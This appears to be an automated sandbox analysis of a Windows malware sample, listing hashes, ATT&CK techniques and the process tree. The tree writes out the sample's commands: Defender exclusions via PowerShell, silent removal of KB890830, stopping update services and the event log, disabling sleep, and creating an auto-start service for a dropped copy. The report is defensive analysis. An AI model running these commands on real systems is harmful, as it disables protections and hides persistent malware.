de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862

Analysis

max time kernel
15s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 12:42

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General

Target
_de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862.exe
Size 3.3MB
Sample260625-pxmapacs4q
SHA256 de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862
MD5 072a01e30d89dd72021e33b33f97a2df
SHA1 6641862075949a4e2d62cae17035d4525b3caaa1
SHA512 c8f5394fa3b73486a32de9bb6fd78f3af37f464546a218f2135a5a127ee79c22fd9f62bf677f43d452697ab41679cff574292411e7b307414d5a303a2d25737b
SSDEEP 49152:OVIgwa0zOPqENIBsXObwXjsW2/QukBRDJyxA1fR4Qas8b7+Cwe4fjOv0F379:OVXL0QqEeB3+Ar/QHRFyxA1x9BT2Q
TLSH
T188F53398EC5270F4CCA5CAB8E1A70F646E3D11A0526579FF2DF8B4A4180CAC654B98FC
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2652	powershell.exe
4852	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5960	powercfg.exe
3744	powercfg.exe
1620	powercfg.exe
1984	powercfg.exe
2800	powercfg.exe
1768	powercfg.exe
2960	powercfg.exe
2252	powercfg.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2196	sc.exe
1876	sc.exe
4956	sc.exe
3552	sc.exe
2320	sc.exe
4788	sc.exe
5564	sc.exe
2936	sc.exe
1436	sc.exe
1224	sc.exe
1064	sc.exe
3728	sc.exe
4516	sc.exe
5108	sc.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4876	_de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862.exe
2652	powershell.exe
2652	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	powershell.exe

C:\Users\Admin\AppData\Local\Temp\_de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862.exe
"C:\Users\Admin\AppData\Local\Temp\_de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:4876
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:4176
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:6020
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3552
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4956
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1064
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1224
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:5960
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:2252
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:2960
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:1768
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4204
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "CIFRLQPA"
  2⤵
  - Launches sc.exe
  PID:1436
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "CIFRLQPA" binpath= "C:\ProgramData\oarejunxrbqq\yrwnalcgkdfh.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:2936
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:1876
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "CIFRLQPA"
  2⤵
  - Launches sc.exe
  PID:2196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\_de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862.exe"
  2⤵
  PID:5172
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:5196

C:\ProgramData\oarejunxrbqq\yrwnalcgkdfh.exe
C:\ProgramData\oarejunxrbqq\yrwnalcgkdfh.exe
1⤵
PID:3224
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2500
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:480
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:4516
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2320
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4788
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:5564
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:5108
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:2800
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:1984
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:1620
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:3744
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:6140
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:4444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

yrwnalcgkdfh.exe

Path C:\ProgramData\oarejunxrbqq\yrwnalcgkdfh.exe
Size 3.3MB
SHA256 de79e908320bd93cfe500e4904bc39e57c01e8f84f6e23ab80fc05874145e862
MD5 072a01e30d89dd72021e33b33f97a2df
SHA1 6641862075949a4e2d62cae17035d4525b3caaa1
SHA512 c8f5394fa3b73486a32de9bb6fd78f3af37f464546a218f2135a5a127ee79c22fd9f62bf677f43d452697ab41679cff574292411e7b307414d5a303a2d25737b
SSDEEP 49152:OVIgwa0zOPqENIBsXObwXjsW2/QukBRDJyxA1fR4Qas8b7+Cwe4fjOv0F379:OVXL0QqEeB3+Ar/QHRFyxA1x9BT2Q
TLSH
T188F53398EC5270F4CCA5CAB8E1A70F646E3D11A0526579FF2DF8B4A4180CAC654B98FC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_nsu0naa5.fde.ps1

Path C:\Windows\SystemTemp\__PSScriptPolicyTest_nsu0naa5.fde.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/2652-9-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-1-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-6-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-7-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-8-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-0-0x00007FF9F02AF000-0x00007FF9F02B0000-memory.dmp

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memory/2652-13-0x000002273F660000-0x000002273F712000-memory.dmp

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memory/2652-12-0x000002273F640000-0x000002273F65E000-memory.dmp

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memory/2652-14-0x000002273F410000-0x000002273F41A000-memory.dmp

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memory/2652-15-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-16-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-17-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-5-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-19-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-4-0x000002273F250000-0x000002273F272000-memory.dmp

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memory/2652-21-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-22-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-24-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-20-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/2652-18-0x00007FF9F0120000-0x00007FF9F0AC4000-memory.dmp

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memory/4204-28-0x0000000140000000-0x000000014002B000-memory.dmp

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memory/4204-27-0x0000000140000000-0x000000014002B000-memory.dmp

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memory/4204-26-0x0000000140000000-0x000000014002B000-memory.dmp

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memory/4204-25-0x0000000140000000-0x000000014002B000-memory.dmp

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memory/4444-45-0x0000000140000000-0x0000000140014000-memory.dmp

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memory/4852-37-0x0000025DFADA0000-0x0000025DFAE52000-memory.dmp

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